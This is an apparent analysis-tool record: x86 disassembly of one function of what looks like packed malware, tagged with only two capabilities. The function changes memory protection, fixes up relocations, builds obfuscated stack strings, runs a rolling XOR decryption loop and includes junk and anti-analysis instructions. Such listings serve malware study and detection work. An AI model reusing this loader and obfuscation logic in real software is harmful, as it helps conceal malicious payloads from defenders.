Function at 0x401779
Capabilities:
Contain obfuscated stackstrings
Print debug messages

Disassembly:
movzx eax, word [edi + 0x14]
lea eax, [eax + edi + 0x18]
mov dword [ebp + 0x1c], eax
lea eax, [ebp + 0x3c]
push eax
push 4
push 1
push ebx
mov eax, dword [sym.imp.kernel32.dll_VirtualProtect]
call eax
mov eax, esi
sub eax, dword [ebp - 0x14]
xor edx, edx
mov dword [ebp + 0x48], eax
cmp dword [ebp + 0x7c], edx
je 0x4017c4
mov ecx, dword [edi + 0x78]
cmp ecx, edx
je 0x4017c4
add ecx, eax
mov dword [ebx + 0x78], ecx
mov ecx, dword [edi + 0x7c]
mov dword [ebx + 0x7c], ecx
jmp 0x4017ca
mov dword [ebx + 0x78], edx
mov dword [ebx + 0x7c], edx
mov edx, dword [edi + 0x88]
test edx, edx
je 0x401804
add edx, eax
lea ecx, [ebx + 0x88]
mov dword [ecx], edx
mov edx, dword [edi + 0x8c]
mov ecx, dword [ecx]
mov dword [ebx + 0x8c], edx
add ecx, dword [ebp - 0x14]
push eax
push ecx
push ecx
call fcn.0040118d
or eax, 0xffffffff
sub eax, dword [ebp - 0x14]
mov dword [ebx + 0x50], eax
cmp dword [ebp + 0x7c], 0
mov byte [ebp + 0x28], 0x49
mov byte [ebp + 0x29], 0x20
mov byte [ebp + 0x2a], 0x6e
mov byte [ebp + 0x2b], 0x65
mov byte [ebp + 0x2c], 0x65
mov byte [ebp + 0x2d], 0x64
mov byte [ebp + 0x2e], 0x20
mov byte [ebp + 0x2f], 0x61
mov byte [ebp + 0x30], 0x20
mov byte [ebp + 0x31], 0x76
mov byte [ebp + 0x32], 0x61
mov byte [ebp + 0x33], 0x63
mov byte [ebp + 0x34], 0x61
mov byte [ebp + 0x35], 0x74
mov byte [ebp + 0x36], 0x69
mov byte [ebp + 0x37], 0x6f
mov byte [ebp + 0x38], 0x6e
mov byte [ebp + 0x39], 0
jne 0x401862
lea eax, [ebp + 0x28]
push eax
mov eax, dword [sym.imp.kernel32.dll_OutputDebugStringA]
call eax
mov edx, dword [ebp + 0x40]
and dword [ebp + 0x20], 0
mov ecx, esi
sub ecx, dword [edi + 0x34]
cmp dword [edx], 0
jbe 0x4018a9
lea eax, [edx + 4]
mov dword [ebp + 0x40], eax
mov eax, dword [ebp + 0x40]
mov eax, dword [eax]
sub dword [ebp + 0x40], 0xfffffffe
test ebx, 0xd7bf865c
add dword [ebp + 0x40], 2
add eax, esi
add dword [eax], ecx
inc dword [ebp + 0x20]
mov eax, dword [ebp + 0x20]
cmp eax, dword [edx]
jb 0x40187d
push esi
call fcn.004010c6
test eax, eax
je 0x4019ce
cmp dword [ebp + 0x7c], 0
je 0x4018cc
mov ecx, dword [ebp + 0x48]
mov edx, dword [ebp - 0x14]
call fcn.00401c0e
mov eax, dword [edi + 0x28]
add eax, esi
mov esi, dword [ebp - 0x14]
push eax
lea eax, [ebp + 0x50]
push eax
mov byte [ebp + 0x50], 0x43
mov byte [ebp + 0x51], 0x72
mov byte [ebp + 0x52], 0x65
mov byte [ebp + 0x53], 0x61
mov byte [ebp + 0x54], 0x74
mov byte [ebp + 0x55], 0x65
mov byte [ebp + 0x56], 0x57
mov byte [ebp + 0x57], 0x61
mov byte [ebp + 0x58], 0x69
mov byte [ebp + 0x59], 0x74
mov byte [ebp + 0x5a], 0x61
mov byte [ebp + 0x5b], 0x62
mov byte [ebp + 0x5c], 0x6c
mov byte [ebp + 0x5d], 0x65
mov byte [ebp + 0x5e], 0x54
mov byte [ebp + 0x5f], 0x69
mov byte [ebp + 0x60], 0x6d
mov byte [ebp + 0x61], 0x65
mov byte [ebp + 0x62], 0x72
mov byte [ebp + 0x63], 0x57
mov byte [ebp + 0x64], 0
call fcn.00401b05
movzx eax, word [edi + 6]
xor ecx, ecx
xor edx, edx
mov word [ebx + 6], ax
cmp cx, ax
jae 0x401981
mov esi, dword [ebp + 0x1c]
mov edi, dword [ebp + 0x24]
mov eax, dword [ebp + 0x24]
add dword [ebp + 0x1c], 6
add bl, 0
add dword [ebp + 0x1c], 0x22
push 0xa
pop ecx
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp + 0x48]
add dword [eax + 0xc], ecx
add eax, 0x18
add eax, 0x10
mov dword [ebp + 0x24], eax
movzx eax, word [ebx + 6]
lea edx, [edx + 1]
test edx, edx
cmp edx, eax
jb 0x401947
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push ebx
mov eax, dword [sym.imp.user32.dll_ModifyMenuA]
call eax
mov eax, dword [sym.imp.kernel32.dll_GetLastError]
call eax
cmp eax, 0x579
je 0x4019a4
in eax, 0xff
jne 0x401a1f
push dword [ebp + 0x78]
mov eax, dword [sym.imp.kernel32.dll_CreateWaitableTimerW]
push dword [ebp + 0x74]
push dword [ebp + 0x70]
push dword [ebp + 0x7c]
call eax
jmp 0x4019d0
xor eax, eax
pop edi
pop esi
pop ebx
add ebp, 0x4a
add ebp, 0x1e
leave
ret 0x10
lea esi, [ecx + 0xc]
push 0x20
lea edx, [eax + 0x10]
pop edi
mov ecx, esi
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], esi
call fcn.0040104d
mov dword [ebp - 0xc], esi
mov esi, dword [ebp - 0xc]
mov edi, esi
mov ecx, 0x20
add ecx, 0xffffffff
sub ecx, 2
mov ebx, 0xa965f960
lodsd eax, dword [esi]
xor eax, ebx
stosd dword es:[edi], eax
sub esi, 1
test si, bx
sub esi, 2
sub edi, 0
sub edi, 3
add ebx, ecx
ror ebx, 0xb
push 0xffffffff
add dword [esp], ecx
pop ecx
jne 0x401a4d
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0x28]
sub dword [esi + 0x14], eax
add dword [esi + 0x20], eax
mov edx, eax
mov ecx, eax
imul edx, edx, 0xfffffff8
neg ecx
add ecx, ecx
add dword [esi + 0x10], ecx
mov ecx, dword [esi + 0x18]
mov dword [esi + 0x18], ecx
mov ecx, dword [ebp - 0x10]
add dword [ecx], edx
mov ecx, eax
imul ecx, ecx, 0xfffffff0
add dword [esi + 0x1c], ecx
mov edx, edx
mov eax, dword [esi + 0x10]
mov ebx, dword [esi + 8]
sub eax, 0xffffff57
add eax, 0xf76
and eax, 0xfffff000
add dword [esi + 4], eax
mov dword [ebp + 8], 4
mov eax, dword [ebp - 8]
mov edi, dword [eax + 8]
lea edx, [eax + 0x10]
mov ecx, ebx
call fcn.0040104d
mov eax, dword [ebp - 8]
add ebx, dword [eax + 8]
mov eax, dword [eax + 0xc]
xor eax, 0x5c823837
add eax, dword [esi]
dec dword [ebp + 8]
mov dword [ebp - 8], eax
jne 0x401ac3
add dword [esi + 8], 0x1a
sub word [esp - 0x26], 0
add dword [esi + 8], 6
pop edi
pop esi
pop ebx
leave
ret 4